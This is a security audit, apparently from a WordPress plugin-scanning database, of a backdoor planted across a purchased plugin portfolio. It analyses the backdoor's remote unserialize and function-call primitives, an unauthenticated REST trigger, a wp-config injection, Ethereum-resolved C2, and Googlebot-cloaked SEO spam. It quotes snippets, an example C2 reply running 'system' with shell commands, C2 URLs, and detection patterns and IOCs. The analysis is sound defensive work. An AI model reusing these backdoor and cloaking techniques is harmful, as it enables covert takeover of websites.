Audit #4 Malicious Closed by wp.org · trunk uncleaned

Audit #4 — Essential Plugin / WP Online Support portfolio

This audit covers the full suite of plugins acquired by "Kris" through Flippa in early 2025 and weaponized via a deserialization-RCE backdoor activated on 2026-04-05/06. The headline plugin attached to this audit is countdown-timer-ultimate (the slug Ricky from Improve & Grow first reported), but the same backdoor module shipped across the entire portfolio. See the Affected plugins table above for the full slug list and per-plugin status.

Acquisition + first commit

• Original maintainers: Minesh Shah, Anoop Ranawat, Pratik Jain. India-based team operating as "WP Online Support" since 2015 (wponlinesupport.com registered Feb 2015), rebranded to "Essential Plugin" in Aug 2021.
• Flippa listing: late 2024, after a ~35–45% revenue decline. Public listing; Flippa published a buyer case-study in July 2025.
• Buyer: "Kris" — background described in the listing as SEO, crypto, and online-gambling marketing. No public WordPress development history.
• wp.org account creation: essentialplugin registered 2025-05-12.
• Author header changes: 2025-05-14 → 2025-05-16, the previous wp.org committers (wponlinesupport, anoopranawat) made their last commits on the suite, updating Author headers to point at the new owner.
• First malicious commit: 2025-08-08, version 2.6.7 of countdown-timer-ultimate. SVN commit message and readme changelog both said [*] Check compatibility with WordPress version 6.8.2. The actual diff added 191 lines to wpos-analytics/includes/class-anylc-admin.php (473 → 664 lines).

The same changelog string was reused across every other plugin in the suite over the following ~6 months. WP Beacon's BulkChangelogReuse rule (Rule #1, shipped 2026-04-24) was designed against this exact corpus — it would have fired with N=20+ plugins in a 14-day window had it existed at the time.

The backdoor module — what shipped in 2.6.7

The added code introduces three primitives in wpos-analytics/includes/class-anylc-admin.php:

1. fetch_ver_info() — calls @file_get_contents($this->analytics_endpoint . '/plugin_info/...') and passes the response into @unserialize($data). Classic PHP Object Injection / arbitrary-class-instantiation gadget; safe only as long as nothing on the install has a vulnerable POP chain — and "nothing on the install" is not a guarantee one can make for a generic plugin shipping to 30k+ sites. 2. version_info_clean() — executes @$clean($this->version_cache, $this->changelog) after $clean, $this->version_cache, and $this->changelog are all populated from the unserialized remote payload. This is direct arbitrary-function-call: the C2 server names the function and supplies both arguments. No POP chain required; a plain reply like { "clean": "system", "version_cache": "id; uname -a", "changelog": "" } is enough. 3. REST endpoint — register_rest_route( '<plugin-slug>/v1', '/analytics/', [ 'permission_callback' => '__return_true' ] ). Unauthenticated POST trigger that lets the operator force a fresh fetch_ver_info() cycle without waiting for cron.

WP Beacon detection coverage today (post-2026-04-24 rule shipment):

• unserialize_after_remote_call builtin pattern fires on fetch_ver_info (proximity check between @file_get_contents and @unserialize within ±20 lines, same file).
• analytics.essentialplugin.com IOC (domain, confidence=high) — added to wp_wpbeacon_iocs.
• Wpos_Anylc_Admin, wpos_rest_api_init, wpos_handle_analytics_request, wpos_get_plugin_version_by_file, wpos_process_monthly_data, wpos_monthly_cron_hook, $analytics_endpoint, Plugin Wpos Analytics Data Starts — all IOCs at confidence=high.

Activation 2026-04-05/06

After ~8 months dormant, the operator began returning malicious payloads from the analytics.essentialplugin.com endpoint. Every install that ran the daily wpos_monthly_cron_hook (or received an unauthenticated POST to /wp-json/<slug>/v1/analytics/) fetched the activation chain.

The payload wrote a stager file to wp-content/plugins/<slug>/wpos-analytics/includes/wp-comments-posts.php — note the s after posts, mimicking core's wp-comments-post.php to defeat casual find audits. The stager then injected ~6 KB of PHP into the host site's wp-config.php, appended directly onto the same line as require_once ABSPATH . 'wp-settings.php'; so it does not appear when scrolling the file casually.

Forensic timing on a confirmed-affected site (CaptainCore restic backups, binary search across daily snapshots): wp-config.php went from 3,345 bytes on 2026-04-06 04:22 UTC to 9,540 bytes by 2026-04-07 04:21 UTC. The injection window is bounded between those two timestamps — a 6h44m window for that specific site, roughly synchronous across the global install base.

Novel technique — Ethereum-resolved C2

The injected wp-config payload does not hardcode its current C2 hostname. It calls one of several public Ethereum JSON-RPC endpoints — mainnet.infura.io, cloudflare-eth.com, ethereum.publicnode.com, rpc.ankr.com — using eth_call against a smart contract address, reading the current C2 hostname out of contract storage. The operator can update the contract value without any code push, and every install picks up the new C2 on its next cron tick.

This defeats the standard takedown playbook entirely. analytics.essentialplugin.com going to {"message":"closed"} doesn't end the operation; it just signals which contract slot the operator should update next.

WP Beacon detection: the four RPC hostnames (mainnet.infura.io, cloudflare-eth.com, ethereum.publicnode.com, rpc.ankr.com) are catalogued at confidence=low (broader risk of FPs from legitimate crypto plugins); the method-name strings eth_call, eth_getStorageAt, eth_getCode are catalogued at confidence=high. The CodePattern rule fires critical on any plugin matching the high-confidence variants — true legitimate WP plugins essentially never make Ethereum JSON-RPC calls.

SEO-spam payload + Googlebot cloak

The C2 returns SEO-spam HTML — fake landing pages, payday-loan link clusters, cryptocurrency ad banners. The wp-config injection prepends this content to the_content output, but only when $_SERVER['HTTP_USER_AGENT'] matches googlebot (case-insensitive substring). Site owners and regular visitors see the original page; Google sees the spam, indexes it, and the operator monetizes the parasite ranking.

Detection note: the googlebot_cloak pattern (HTTP_USER_AGENT.*googlebot/i) has been a CodeScanner builtin from the start, but this attack writes the payload to wp-config rather than the plugin source — so a plugin trunk scan won't catch it once it's deployed. Site-side detection requires either grepping the live wp-config.php or making a Googlebot-UA request to the front page and diffing against a normal-UA request.

wp.org response — single-day queue drain

On 2026-04-07 between 22:00 and 23:02 UTC, wp.org committer davidperez (member since 2015-09-17, employer "CLOSE" — a wp.org Plugin Review Team neutral-party admin account) was added as committer to 14 of the suite's plugins in a 1-hour window. Commit messages: "WPORG Plugins Team commit", "WPORG Plugins Team commit fixes", "WPORG Plugins Team fix". 25+ plugins were closed on the same day.

The patches add early return; at the top of wpos_monthly_cron_hook_fn() and wpos_handle_analytics_request() and an init-hooked cleanup function that unlink()s the stager paths. The patches do not remove the wpos-analytics module from disk, do not rewrite the host site's wp-config.php, and do not clear the analytics_endpoint constant. Sites already injected on 2026-04-05/06 remained compromised after the cleanup; the only thing that changed was the freshly-installed-after-2026-04-08 cohort no longer self-propagating.

The "closed but trunk uncleaned" status today: 22 of 33 plugins in the suite still ship the full backdoor source under the early-return stubs (verified 2026-04-25 via wp beacon scan-deltas + wp beacon detect; each fires 10–11 code_pattern critical events). The 11 cleanly-empty trunks are all 0-install legacy slugs.

Cross-incident pattern — /bro/3/

The C2 URL convention <host>/bro/3/<victim-host> matches:

• anadnet (Quick Page/Post Redirect Plugin) 2016–2021: https://w.anadnet.com/bro/3/{SERVER_NAME}{REQUEST_URI} — see Audit #13.
• scroll-top (Benjamin / @milkitall / tombenj) 2024–live: https://edge.cdnstaticsync.com/bro/3/{site-host} — see Audit #12.

Either the same operator across both prior incidents and EP, or EP's developer/buyer worked from anadnet's source as a code template. The path is now a high-confidence IOC across all three audits — any future hit on /bro/3/ should be treated as an extended-family confirmation.

Watch list — original-author handles still active

• wponlinesupport — original wp.org account; may still hold non-transferred plugins outside the Flippa sale.
• anoopranawat — co-committer; same concern.

Both are on the live watch list. Any new commit by either account on a plugin that wasn't in the EP sale, or any new owner change on a plugin currently held by either account, is the activation signal.

References

• Public writeup: anchor.host — "Someone Bought 30 WordPress Plugins and Planted a Backdoor in All of Them" (2026-04-09).
• Related audits in this database: #12 (scroll-top, same /bro/3/ lineage), #13 (anadnet, same /bro/3/ lineage, oldest).